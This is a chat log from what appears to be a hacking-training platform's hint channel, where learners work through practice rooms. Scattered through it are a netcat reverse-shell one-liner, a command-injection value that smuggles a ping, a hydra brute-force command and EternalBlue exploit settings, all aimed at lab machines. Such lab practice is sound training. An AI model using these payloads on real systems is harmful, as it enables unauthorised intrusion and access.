#room-hints
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@sleek harness you need to capture the login with intercept
Send me screenshot when you do this im on phone so i can't help you so much
I completed it with burp didn't try other method
i m solving the owasp top 10 room and i m wondering do I need to get a reverse shell in task 6 or exploit it using command injection only
π€ today's challenge is interesting
anyone done with today's OWASP challenge?
yeah i'm done with it
I found the exploit and tried to paste it in the textbox in Contact page but the only input I saw when going through the code was target url
not sure if that is the intended way to complete the challenge lol
I'm missing something? Input or the place where I'm inserting it?
I'm missing something? Input or the place where I'm inserting it?
@autumn rivet look at Task 29 again, same method, different exploit
Not sure what's the issue you have faced. Based the exploit, it seems to be quite straight forward
look at Task 29 again, same method, different exploit
@velvet talon thanks
can anyone give me hints how to escalate priveleges in task 6 command injection practical?
can anyone give me hints how to escalate priveleges in task 6 command injection practical?
@true widget you dont have to for the flags
we can read the contents of|| /etc/passwd||so shall i brute force ssh?
coz i dont have the permissions to read the contents of root directory
are you aiming for the last flag?
cuz i dont think you have to do anything with the root dir
nope looking for the strange file in websites root directory?
so i didmt had to get a reverse shell?
not really, but it doesn't hurt π
its enough to use the input box of the website
okk i ll try
i couldnt read it from the website when i tried earlier or i might be doing something wrong
What room is it?
owasptop10
i think you still aim for the /root dir.. π
the root dir and the website root dir is different, it refers to the webservers root directory
from where the evilshell.php runs basically
hello guys doing ljnux ctf room stuck in task2 #4 it says check in crontab i check but it didnt show the flag
plss help
Linux challenges room?
yes
There are multiple places for cron jobs to be shown. Try to enumerate and find some more π
can some one explain to me how || login.js works in overpass room ||please
You don't do authentication clientside so you really don't have to know how the login script works
ow thanks β€οΈ
get rid of that last word of your reply before he sees π±
@oblique cliff mine ?
I saw
π
caught π©
imagine giving ur heart while 3 days to overpass rooom and still where I start πΏ π
Need a hint with ||.xaa|| file in CC : Pentest
i tried dirb and gobuster but doesnt give me anything
any other wordlist i can use ?
Don't just scan in the directory you found. Scan on /.
The extension argument for gobuster, you use -x php not -x .php
youre also looking for the extension xaa when you should be looking for the extension xxa
@oblique cliff I did use -x xxa... just a typo i made here
yea then if youre running it on the correct directory it should find what youre looking for π
Correct dir and correct VM
what wordlist do i use ?
i tried dirb and gobuster
dirb i tired the dirb wordlist
if you show us the command youre using we could help you more @warm sierra
screenshots
Can anybody help me with creating a reverse netcat payload
please
this is my syntax:
msfvenom -p cmd/unix/reverse_netcat lhost=10.11.12.141 lport=4444 R
and what happens when you do that? @keen rampart
This is my output:
mkfifo /tmp/zueh; nc 10.11.12.141 4444 0</tmp/zueh | /bin/sh >/tmp/zueh 2>&1; rm /tmp/zueh
but when I run it, my netcat listener doesnt pick anything up
this is specifically the network services room, and exploiting telnet
whats weird as well, when i run a ping using:
ping ip -c 10, my tcp dump picks nothing up
almost as if theres a firewall in the way
you tried pentest monkey?
@oblique cliff gobuster -e -u <box-ip> -w /usr/share/wordlists/dirb/common.txt -x xxa
pentest monkey?
search pentest monkey reverse shell cheatsheet
just found it
thank you
will try that
same effect
I think it could be a firewall or vpn issue
Is your VPN running directly on Kali?
yes
Should be fine then
hmm
Make sure you prefix stuff with the prefix tho
Otherwise it won't run the commands
what do you mean?
ok
You can only search for file extensions in dir mode, make sure to include dir @warm sierra
gobuster dir -u <box-ip> -w /usr/share/wordlists/dirb/common.txt -x xxa
hey lads
can someone give me a hint to how I can find shiba3's password
The room is learn Linux btw
So, it actually tells you what you need to do
There's a condition
You need to make that condition true
Then run the binary
None of those
because those are files
And you need to look in your home directory
ah
@final mortar thanks got it
hi π someone knows the answer to lord of the root room task 2 #6? "What's the method to exploit the system for privilege escalation called?" I complete everything except that, thanks!
We do not give out answers.
just a hint π
I did, and I didn't find anything good for the overlayfs exploit... maybe they aim to another exploit?
There are multiple ways to root that box(unintended)
there are some weird files on the box itself that was the intended privesc path, look into what kinda exploit you couldve used to take advantage of thoes
need a hint for OWASP Day 8 Who developed the Tomcat application Googled around, but I can't find something that fits the answer π©
Yeah, that was a tricky one.. π Don't go for one specific person
Bruh can anyone help me with Sqli in CCPentest ? .... i finished the whole thing except the sqli part
@velvet talon hmmm, ok. so I'm not looking for a person. well the question is a little misleading then ...π will try harder then
Bruh can anyone help me with Sqli in CCPentest ? .... i finished the whole thing except the sqli part
Anyone ??
@warm sierra do you have a more specific question than that?
@velvet talon hmmm, ok. so I'm not looking for a person. well the question is a little misleading then ...π will try harder then
@marble dagger it is indeed, i would check the details of its release
there are some weird files on the box itself that was the intended privesc path, look into what kinda exploit you couldve used to take advantage of thoes
@oblique cliff I found another way to exploit, i manage to exploit with it but again I cant find the right answer :\
right, i know. You need to go explore the box a bit more and check what the intended privesc path was
in order to answer that question
alright, thank you!
Quick question, is there a way to use msfconsole as just a listener? (its needed) (not shell and listner) I generated a payload via msfvenom but need to catch in msfc
yeah there all run the reverse_tcp bit too (i don't need that aswell) why i'm asking, thank you for the respose
That sort of question, not relating directly to a specific room, goes in #general @odd panther
Very good point thank you. will do so
@velvet talon must be blind. Can't find it. but the main problem is probably that I don't really know what I'm looking for π«
@marble dagger The first letter is|| 't'||
@velvet talon must be blind. Can't find it. but the main problem is probably that I don't really know what I'm looking for π«
@marble dagger check out the license of the software
Or a better one, usually the founder claims the copyright of its software π
@dense pike @velvet talon I feel like I'm in a deep rabbit hole now. last thing I got was something including a countries name. It alomst looked right. but it wasn't
it's also not the original developer. You're looking for the current developer
Just search for the ||wikipedia page|| @marble dagger
Prefix it with a word starting with ||t||
For the overpass room, can you guys give a hint to what owasp vuln I'm looking for?
hey guys,im on the basic pentest room and stuck a bit with #6 What is the password?
hydra -l J** -P /usr/share/wordlists/rockyou.txt -w 20 -f -t 15 -vV 10.10.116.204 -s 8080 http-get /manager/html
but the 'easy' password dont drop...
when i spoil too much, then lets write directly
Are you supposed to brute for on that room?
I don't remember bruting on it
its the easter egg
Easter egg??
... hint
Well your command seems very wrong
Hold up
You're brute forcing the wrong place
In your command you're brute forcing /manager/html which is entirely wrong
You need to brute force ||ssh||
ah , okay then i give gobuster another shot
No.
You're not reading.
You have the username, you just need to brute force the correct place.
||ssh|| is not a directory.
okay, didnt read the spoil. thx for helping!
Also lowercase
Any hints for the root part too? π (of overpass)
Check the room tags
Run some enum scripts
Think about what you can and can't control
it's also not the original developer. You're looking for the current developer
@toxic scarab Needed that thanks!
Doing OWASP Top 10 Task 21 Day 7 Cross-Site Scripting #2 says go to 10.10.227.70/reflected and craft a reflected XSS payload that will cause a popup saying hello, but this is what I get when I go to the website in my kali machine. Is this the expected behavior?
Thank you
for blog should I be ||brute forcing the wp login or will i be waiting a long time cuz the password isnt in rockyou?||
Have you tried it?
There's 2 users. Maybe you can get into at least one of them in under 5 mins
alright cool, im starting the scan now i just wanna make sure i wasnt gonna waste 20 minutes waiting for something to finish that never will
I feel as though I've been lied to. (waited 10 minutes on the other user and nothing as well) ||Should I not be using rockyou?||
never mind it worked, it just took 8:05 cuz my computer is a slow boi
I don't think it has anything to do with your computer. It took me around 6 minutes too
What wordlist did you use?
still looking for OWASP day 8 #1 who developed the tomcat application already got hints yesterday, but I'm still too stupid to find a answer that fits π© alreayd lokked on numerous pages including ||wikipedia||
getting OWASP Day 9 took me less than 10 minutes. but I'm still stuck with Day 8 Task #1. this is getting frustrating π
search the question in google and it will pop up
@heavy anvil already did that, for developer of vim that is. nothing that fits. I'm obviously bad at this π
well its not a single person its a team
and the number of astricks for the answer of the question is not correct as long as I can remember
right just search the question exactly as it is on the google
thanks guys. i'm so stupid. got it now π
Hey can i share the writeups i write here? I am new here
Hey can i share the writeups i write here? I am new here
@narrow herald instead submit those in the rooms and let the room creator decide?
@narrow herald or you can submit them in #thm-community-media
After itβs been approved by the room creator ^
Hey guys, last question of Day 4 for Advent of Cyber.
I'm guessing I need to look in the /etc/shadow file but says access denied as the mcsysadmin user.
Anyone got a little clue they can give?
What Room? (Link, Room title, room code from URL)
What Task? (Give the number!)
What question? (Number, maybe also basic details)
What have you tried?
What happened?
What didn't happen?
What did you expect to happen?
A picture paints a thousand words. Don't type a thousand words. Screenshots are awesome. Photos of your screen are not.
(If you want to paint a picture, we'll be impressed but a screenshot is really better)
@pseudo hamlet
Room:-Linux Challange task4 #7
@steady stratus can you pin that in this channel too so I donβt have to copy paste whenever I use it here?
Yea in room help. But I have to copy paste it over and itβs annoying on my phone
@oblique cliff need more info from mine?
As it's #room-hints @oblique cliff i'd be inclined to say no (to copy and pasting the formatting expected in #room-help) (although I absolutely see your reasoning)
People who come here should have a different formatting to their question like:
- What room
- At what stage are they stuck exactly?
- What have they tried so that we can give a hint for something they haven't already tried
Anything further then that should go in #room-help imho
@slate swift I havenβt done that room, but to look at the shadow file you need to be root. So you need to get root access in order to do that task it seems (unless the shadow file has weak permissions on that machine)
ofc you guys are the ones on the ground so, I take your word greatly (:
@steady stratus thats fair, can you pin that then? π
No I just want something thatβs easily referenced from my phone haha. Cuz I usually go to room help, find the pin, copy, come back here and paste
Thatβd be appreciated π
#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:
- What room you are on
- At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
- What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
Can someone give me a hint on the last challenge of task 5 of room Agent sudo? Its a bonus challenge. ||Who is agent R?||
It's a basic room, this task covers using la, cat, grep. I don't think it's meant to require privesc.
Hmmmm, anyone else done the Advent of Cyber room and can provide a hint?
Day 4 - Q7
@white salmon See if you can delve a little deeper into the whole theme of the box.
You might be able to find a file somewhere that might mention his real name
@slate swift have you checked the permissions of the shadow file then?
Hm..ok i would do that Thankyou, if i cant find it can i come back and ask again?
Yeah, sure
It's a basic room, this task covers using la, cat, grep. I don't think it's meant to require privesc.
Hmmmm, anyone else done the Advent of Cyber room and can provide a hint?
Day 4 - Q7
@slate swift You can google how to do THAT thing, there will be commands on the internet and just try and you will be able to get it right, its very easy
Also actually, @white salmon, if you've already solved #2 of Task 5, then it should also be there I think
@oblique cliff permission is ---------- 1 root root
@smoke google seemed to suggest that the password is hashed only at creation and stored in the shadow file. Are you saying since I know the password I can figure out the hash?
yea, im pretty sure you stumble upon the name along the way if youre doing that room @white salmon @white salmon
@oblique cliff permission is ---------- 1 root root
@smoke google seemed to suggest that the password is hashed only at creation and stored in the shadow file. Are you saying since I know the password I can figure out the hash?
@slate swift if you know the hash you can crack it using hashcat
its asking for the hash itself, not the password
Oh yes i am sorry
im looking at the room to get a bit more info @slate swift give me a sec
Tah
@slate swift did you read the documentation they gave?
The answer is there, its very straight forward
your answer is right here
make sense of it and apply it and you will get the hashed password
Hmmm, okay, let me poke around
mhm
yea, smoke gave adequate hints, you should be able to solve it now π
OMG, wow. π€― I was really over thinking.
I was like surely it doesn't mean look for what I think it means everywhere.
Yes it does. Wow. Hahaha.
I'm following along with the official writeup for year of the fox and am stuck on the RCE step. The guide shows using the following command to get the remote host to ping my machine ||{"target":""; ping 10.9.58.: echo""}||. However when running that I don't see any echo packets via wireshark. Am I doing something wrong with the command? (ip redacted) edit: I changed the command to ||{"target":""; ping 10.9.58.; echo""}||, I don't get a response in burp and still no echo responses either.
hey lads
how exactly am I meant to find shiba4?
All I can find is a directory named shiba4
which isn't a .bin file
the room is learn Linux btw
@wind fog Are you searching for a directory or a file? What command are you using?
find shiba4
and I think I'm meant to find a bin file
though there is none that I can find
i can't run shiba4 though
You assumed it had an extension
@wind fog What's in the directory?
Use find to look for things of type file
theres a lovely room called TheFindCommand which will help with that if you need some assistance π
find / -name shiba4 | grep shiba4 | grep shiba4
you can use the find command to search for something of name shiba4 of type file
Try this
right now youre in a directory called shiba4, thats different than a file @wind fog
yea what
And it still doesn't filter error messages
Which is the only filter up need @crystal glade
and ran find shiba4
That's not how find works
wdym?
I mean that you misused find
https://tryhackme.com/room/thefindcommand @wind fog I'd, again, recommend completing this
great room!
And looked for all files in currentDir/shiba4/ @wind fog
That's what that command did.
https://tryhackme.com/room/thefindcommand @wind fog I'd, again, recommend completing this
@oblique cliff this one
You have to learn how to use find
@stuck fractal I used like this but it's looking wrong so probably i need to complete find room
astute observation
You shouldn't be piping find into grep like that
better to be using it correctly than to be hacking together something that sometimes works when find is built to work better
So on YOTF, I'm trying to get the remote host to ping my system. The command is: ||{"target":"";ping 10.9.58.***;""}|| which is in multiple writeups. That's my tun0 ip and I do have access to the search page. I'm really not sure what I'm doing wrong at this point. I'm still not capturing any ping traffic in wireshark.
Wireshark capturing on tun0?
Thanks!
Otherwise you just get encrypted traffic
I need help with the bonus challenge in room Agent Sudo, its task 5 question 3. I tried but cant get anything
@white salmon enumerate more
its on the machine
look at all the files, read the files
OMG
i got it
i am so blind
wow
Thanks alot for your time, i appreciate it @oblique cliff
yay, congrats π
hello guys im coping a file from victim to my my THM machine using SCP but it says permission denied
Screenshot
Ok, you wanna break that command down for me? I wonder if you can spot your mistake
scp [options] source destination
simple word plss
So
Your current command
is copying a file from alice@10.10.114.139:/home/alice/flag32.mp3. Where's it copying it to?
im copying to /root direc in my sys
yes
You're copying the file from the machine to itself RN
ok
You haven't told it to copy to your machine
i also have to add my machine ip add
There's a better solution
You can just run that SCP command on your attacking machine
Because you specified exactly where to get the file from
hello guys Stuck in Linux Challenge room Task 5 #4 dont know to recover flag from .mp3
do google search but didnt find anything
Have you listened to it?
I'm sure there should be, I've never used it.
yes ^ the in-browser doesn't convey sound so well unfortunately
if you can find a way to download it to your host as boblo said
you'll get the answer you need
I prefer βblablaβ π
I pronounce your name as "bob-lob-law"
i am a master of tongue twisters
i'm gonna hack into your blog and delete my traces, so that way you can't find me via your bob lob law blog logs
I tried saying that lol
Anyone have ny hint to offer on the submission of the user flag for the jeff room please?
Anyone have ny hint to offer on the submission of the user flag for the jeff room please?
@maiden flower MD5
but the bob loblaw law blog logs are super secure (i couldnt think of a good tongue twister to keep in going, sorry)
the full string and just the bit in the braces
@maiden flower braces
pretty sure I tried this but will go again
yes I had tried this its having none of it π¦
can I PM @wraith tapir just for my sanity here
Yeah no prob
can someone please help me with this?
I've done every thing else in the room and am stuck on this
I have no clue how to find the answer
Did you find the binary?
You'll have to use the find command to locate the shiba4 file
Then you're using it wrong still
you didnt do the room thefindcommand did you?
i did
cuz youd know how to find it if you had
most of it anyways
do all of it
Remember, it's a binary, so it's a file
How do you use the find command to only look for files?
And no one said it's in /home
is it in root then?
Well, we don't know
find -type f
that's why you gotta search the entire system ;)
Remember, it's a binary, so it's a file
@white salmon Technically speaking everything is a file on Linux. π
@tidal sedge All directories are files but not all files are directories
please someone just give me a hint π
@wind fog Use find. On the whole system. Looking for files. With the right name.
and what exactly youre searching for
thank you barack
Everything is a file describes one of the defining features of Unix, and its derivativesβthat a wide range of input/output resources such as documents, directories, hard-drives, modems, keyboards, printers and even some inter-process and network communications are simple strea...
If that's true, then why does find -type f never show directories? 
like this?
No
damn
You know how to look for files with a certain name
π€
keep trying
-name?
how closely did you pay attention to the room the find command?
Read manuals
?
try it and find out
1 you can filter out the permission denied
2 they dont all say permission denied
hmm
Try adding -xdev 2>/dev/null
-readable?
I really recommend not bruteforcing #room-hints for answers
And reading the manuals and doing the research on how to do things
Try adding
-xdev 2>/dev/null
@white salmon thanks man
I really recommend not bruteforcing #room-hints for answers
@stuck fractal I know, this was my last resort, I've been on this single question for hours now
and am quite desperate for an answer
Yeah, except once you've been given the hints you should keep trying yourself
hey guys help plz lmao
im stuck on the linux room
and it asks to create and run the noot.txt file
It doesn't say run the noot.txt file
you have one executable file
The ablist slur.
sorry
If it's FTP, switch to an EU VPN server
okk
it's a platform issue that's being investigated
damn youre smart, he didnt even ask the question yet
A lot of people have the same issues usually
You can complement me all you want, still not going to let you use the slur π
not what im trying ot achieve lol
I get it wont curse here
also i got mine working ty
Reading the question is incredibly important
Sitting back, and applying some logic is too. Why would you be able to run an empty file that you just created and somehow get a password?
idk lol
Exactly
i just want sure what binary - this is my first room
It lists it
true
If you read the room, including task titles
Reading is a key skill
Without reading the question and the info you're given, it's going to go badly for you
looks like EU vpn works awsome thank you
@white salmon hey sexy :0
hey
wanna be friends?
ugh
No
Because ubuntu doesn't normally have a root password
@white salmon We do not give out answers, so that's false.
oh k
linux
learn linux
first room
wdym no password, u should've been root already
Nope.
just a sec
nope, so, any idea how to access the file then?
That's what you'll have to figure out :)
Maybe the password isn't the key
but... but... they never told me
There's other ways besides passwords to get to root
πͺ
Hold on, i had to get to that room
Unfortunately, you're going to have to figure a lot of things out for yourself
That's part of the fun of penetration testing, though.
Did u get to the point where u switch to nootnoot user?
Try getting this script onto the machine, and running it
what's that?
It's a Linux Enumeration script
It'll basically scan the entire machine for you, and tell you some obvious attack vectors and vulnerable things.
yeah
You need to use the knowledge from previous tasks
Not all of the users
Usually the first thing I do when I gain access to a user and password, I always check sudo -l btw
It's a quick and easy way to find privilege escalation ;)
@wind fog ah now i remember
none of them can run root
ah, what worked?
none of them can run root
@wind fog wat
Not sure if you really checked all users.
Remember, not all the users are just shiba
The hint im gonna give u is to use find command
oh true
And look through files owned by shiba users

Maybe you can find creds for one of those

u need nootnoot
how do u find the password for them?
By looking
look for suspicious files
or at least, out of place files
actually now when i remember how much i tryharded for this
i gotta forget it somehow
any hints for blog privesc? the ||SUID for checker can't really be taken advantage of that I can see||, then I found ||the password for bjoel, but thats for the wordpress site, not his actual account|| and I can't find anything else that's interesting to me
what file
@oblique cliff Do some RE on the binary
@stuck fractal oof thats what i thought it was gonna be, thanks
@oblique cliff remember everything I taught you1!!!
Blog was what made me actually get into RE
@oblique cliff Ultra basic RE, like chuck a decompiler at it
find / -user <username> -type f
with the hackpark thing, is there a specific way to reverse image search on firefox? cos saving the image and then using google image search isnt giving me the answer
oh damn yall are making me nervous if i dont figure it out now
use this
oh damn yall are making me nervous if i dont figure it out now
@oblique cliff no pressure π
It sends the output of everything you don't want to see into /dev/null
which is a fancy word for the trash
(actually more like a void i guess)
damn, I'm glad I finally have a fancy name to be called
The real purpose of /dev/null is that it's a file that you can send input into, but the output literally just doesn't exist.

So it basically eats any input you send into it, and nothing comes out.
ah, interesting
how does that command work though?
@wind fog It's not really a command
You're redirecting the output like you've done before
cat it
@wind fog any progress?
Let me explain u
by using the find command
u are looking for files out of place
owned by each user
the find command didn't give me anything though
for example
mostly users make files in their home directories
look for files that arent made in that dir
hint:
||shiba2 user||
No
not that user
ah
yes
oof, lemme take another look

output is like
as far as i remember
only 15ish files so it really shouldnt be hard
u use that dir before in a task i think so no
here are some of them
One of those looks suspicious to me
You can ignore everything in /proc/ tbh
Yea totally smth suspicious there
.profile? π€
@stuck fractal got it, thanks :D
embarrassingly the thing i ended up asking for help on was transferring the file to my kali machine cuz i thought you needed write permissions to do that, but you only need read permissions π€
@white salmon thanks, as always
oh i just did a regular python server and wgetted it
SCP best
You can also just navigate to the ip-address:port with your web browser once you've opened up a HTTP server
and navigate the entire machine like a directory
(and download files directly from web browser)
just by clicking
You could host a ruby HTTP server 
this maybe?
cat it
perm denied
ls -la?
tough time
and u are? shiba4



name 3 others
@oblique cliff Netcat, http servers, upload via FTP, upload via SMB, base64 encode and copy text
hey i said 3
And I disregarded that guidance
scribbles down in notes
i forgot you could transfer files with nc
id say i forgot but i never knew
alright, I'm lost, I'm now in nootnoot but am still unable to access root and haven't got a clue where to go from here πͺ
sudo?
Try things.
damn, i'll try
remember me when you become a millionaire
@wind fog well good luck with that task .. it took me 3-4 days to barely solve it.
i only finished it yesterday.
yeah, i would have been on it for weeks if I didn't have help
i got the concepts, just not how they related to one another
yay people my level
it's pretty hard this one i'll tell you. you reaaally need to focus and don't give up.
i felt so frustrated at this task, but did some research, and did other rooms (i grew more knowledge on other things too), and still didn't get it without the hints that were provided here.
but trust me .. this task will teach you how to navigate through linux comfortably.
Room: Powershell Scripting - Task 3, Question 3 "How many cmdlets are installed on the system(only cmdlets, not functions and aliases)?"
Why is this not ||7935||?
You're not filtering correctly
Is this room broken on task 8? https://tryhackme.com/room/xss
Or is it looking for something very precise?
yes and yes
hey peeps
how would I use the search command if I wanted to search for a file which contained what i was looking for
for example I'd like to find any file containing flag in it's name
That sounds like a question for google first
And a recommendation to redo the find room
!rule 13
Rule 13: When asking for help/tech support please perform research to your fullest ability. Mods and Community Mentors have the right to refuse helping those who have not done troubleshooting/research on their own first. Clearly phrase your questions as we (fortunately for all parties involved) cannot read your mind. Please include the room, task, and question number in your question if possible.
alright
could you tell me if my current try is wrong of if there is nothing containing flag at least?
Why not create a file and try for yourself?
alright, im going to assume that it i did it wrong
Inspect the flag21.php file. Find the flag.
do i need to download anything ? most of them say that i would need to use the command ||PHP|| which requires me to download a ||PHP|| program.
I'm not sure what site/"old friend" this is referring to in the Burp Suite Room Task 11 #1. Could I get a little nudge in the right direction. (I also don't believe it is in the deployable machine's website, but I could be wrong).
Its referring to the juice shop still. There is no second site
Just explore the website and you should come across it unknowingly
And old friend is referring to a system with Burp. Make sure you read the previous parts as to what the old friend could be
I am very new to cyber security (passed my Sec+ this month) I am really stuck on this question in the "intro to research" room. I have completed every question except this one. If someone could point me in the right direction I would be very thankful.
The question is "If a password hash starts with $6$, what is the format it is (Unix Variant)"
I know the hash is || SHA-512 || but im not sure what it means by "What format is it"
The hint that follow with this question is || cry ||
I'm so lost D: second day scurrying the internet for this answer.
It's not quite sha512
Sha512 doesn't have a prefix, is typically hex output, and doesn't have a salt when it's purely sha512
it's related to sha512
So would it fall under crypt(C)?
That's the library that is normally used to implement it
The way I got where i am is by searching a hashcracker and looking at examples, from that I concluded that it was most likely SHA-512. From there, I looked up SHA-512 and "Unix Format" which led me to the wiki for Crypt(C). Not sure if im going in the wrong direction
It's not quite sha512, as I said
Crypt provides unix hashing functions like md5crypt which are used in /etc/shadow or /etc/passwd
Ok that's actually a fairly big hint
thanks man! I think I got it.
help with owasp top 10 day 3 task 12 voucher? i found the hint pointing back to the main page but i cant figure anything out
My dudes, I'm doing the Hydra-ha-ha-haa challenge from the Christmas room. Any hints on how to find the username?
@final sluice you'd have had to email the email on the home page
@cosmic phoenix you're told the username
Is that a hint?
ah, I kept thinking about doing that but i kept thinking that was too simple derp
Oh that's it ? Alright great. Thanks James
Hi can I have a hint for the privesc on GateKeeper ?
I ran winpeas and windows-exploit-suggester but I'm still stuck.
1 hint is read the room description
2 hint is look for stuff that isnβt installed by default on the machine
so with the .lnk file, I'm on the right track ?
What lnk file
Fifrefox.lnk on the Desktop's user
Explore it and find out π€·πΏββοΈ
aight thanks π
~~google is your friend here ~~
in room "Burp Suite" task 6, section 7: Defined in RFC 6455 as a low-latency communication protocol that doesn't require HTTP encapsulation, what is the name of the second section of our saved history in Burp Suite? These are commonly used in collaborate application which require real-time updates (Google Docs is an excellent example here).
can find this info, not even on the hint site
omg, sorry... im just blind
hey guys
can someone give me a hint as to which two files this is refering to?
the room is linuxctf task 2
@wind fog what have you looked for
Itβs not meant to be a trick itβs very straightforward which two files
I'm not really sure what to look for
i've search for files which might stand out but found none
What files are in your home directory
cd ~ brings you to your home directory, or just cd
No problem
@final mortar imo if you just tell people that command they donβt learn what that means and understand that ~ brings them to the users home directory
Thatβs why I try to ask leading questions a bit more. Again, just my opinion but I feel like that helps people a bit more
Yeah I mean I read what you were helping with just supplemented the info
wait I can improve it
Better π
Thatβs why I try to ask leading questions a bit more. Again, just my opinion but I feel like that helps people a bit more
btw you know I do that π don't you π¦
I know, youβre awesome with help! I just saw you give the command right there
No worries
am i missing something with the exploit(windows/smb/ms17_010_eternalblue) in msfconsole? it is stuck on [*] 10.10.46.84:445 - Sending all but last fragment of exploit packet. its for the eternalblue room
Try different payload
try with windows/x64/meterpreter/reverse_tcp
i didn't select a payload. guess i missed that. set payload windows/x64/meterpreter/reverse_tcp
still not finishing the connection it seems
can you give it some time to finish
ya i have been waiting about 5-10 mins during each try. so wait longer?
same thing. wonder if i made it unstable
Like seconds
Update your metasploit
And then if that doesnβt help reboot the box
ya i have been waiting about 5-10 mins during each try. so wait longer?
@sonic fox you changed the payload and waited 10 mins, I just suggested it 1 min ago
And if that doesnβt help show us again
no it still running
It's supposed to take longer at that stage
try restarting Metasploit as bob said, ensure the payload is correct, verify your connection cause I just checked, your instance works fine https://i.imgur.com/vAWPeY7.png
@sonic fox
Hi hope you're well.
I'm going through the ten days of OWASP and I'm on the [Day 5] Broken Access Control (IDOR Challenge)
I visited the site and I believe that the goal is to change the last number at the end of the url to access another persons notes
The url being http://10.10.89.241/note.php?note=1
I changed the 1 to a 2...
I've run through a range of about 3500
am I doing something wrong?
nvm, just realized that I should've started at 0
Ahh got you, thanks
hey lads
is release some kind of command or what?
if it is could someone maybe give me a site explaining how to use it, cause I can't find one
It's referring to a file.
You really need to give people context when you ask questions about rooms like this.
thanks @final mortar and @oblique cliff. had to update metasploit and restart.
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i got shell.... now what?! j/k
welp, I have found the release file, which is just a text file full of code with no flag of any kind
any idea how I could get closer to the answer?
the room is linuxctf btw, task 2
kernel version is what "uname -a"?
a is for all
just gives me this and no flag πͺ
You havenβt found the correct release file if itβs not in there
It tells you the exact name
The * isnβt a regex thing itβs in the name of the file
really?
how do I use find and add * to the name then without 500 results showing up?
if u could tell me it would be a huge help
You could use a regex with a literal *
smh all tutorials saying to abide the law
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thanks man
Use that link to try stuff out and find out how to do a regex with special characters
Safe for work.@wind fog
@white salmon If you don't like it, this isn't the place for you. Rule 9 applies.
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Hey guys, let's not make jokes like that
Not even remotely ok
Also, this is a hints channel...
Thank you
No worries
If you would, please remove that joke regarding minorities
Thank you!
what a silly guy
:D
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For joking around, please move to general β€οΈ
is the first part of jigsaw even doable over VPN? Cos I am buggered if I can capture what I am supposed to?
If it's FTP related, use an EU VPN server
no its about it leaking a udp packet with some info in, I got so frustrated trying to get something out of the machine I ended up looking at a write up for the first piece... but I cannot replicate either of the potential routes the arp routes I am not surprised by but .... nmap and a wireshark capture just doesnt do what they say it does but all three are vulnhub write ups
i.e. no vpn at all
hey peeps, I've found a file which I'm pretty sure I was meant to find, but am not sure what to do with it now, I've tried executing it, catting it, and I haven't got a clue what I'm meant to do with it.
the room is linuxctf btw, question 3, task 5.
#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:
- What room you are on
- At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
- What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
dang it
lol
Linux CTF, priv esc ^
this seems new ^^^
Have you tried running it
Yes...
yep, told me permission denied
but I haven't got access to the sudo
anything else I could try doing with the file, cause right now I'm lost
I guess you could try reversing it but check the room tags see if that helps.
I don't want to lead you in a wrong direction so I'll wait for someone else to come help.
reversing it? I'm quite new, so im not really sure what that means
I have not completed the room so me saying anything is virtually useless.
ah
thats a beginner room, therell be no RE in it
Exactly why I said whatever I say is virtually useless ^
linux challenges? @wind fog
Oh it's linux challenges
weren't you asking about that earlier?
Linux CTF is the machine name not the room name.
oh
the hint tells you the name of the file
youre going down an unintended rabbit hole
yeah, *request
its not a track question, you should ||find the file called *release||
no
look at the hint again
you misread it
i ran a find command for *release but didn't find one
then your find command wasn't good enough
you need to look at how to find something with a special character in the name, cuz the * is messing it up
not sure, make a file called *requestt and see if that finds it
yep, it found it
I've been on this for over an hour now so at this point I'm quite desperate for answers
true true, now it's giving me 300 results for release
so im assuming my find command is wrong somehow
You're probably not escaping the character correctly at my guess
find / -name *release 2>>/dev/null
is this wrong??! please tell me, I am sick and tired of this question by now
In the cmmand you just sent
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you're not escaping it
you just showed a good command earlier about how to escape a special character
why did you get rid of the escaping
find / -name *release 2>/dev/null
find / -name \*release 2>>/dev/null
Try this
Single quotes are magic
James -_-
Backticks are magic in discord
so '*'release
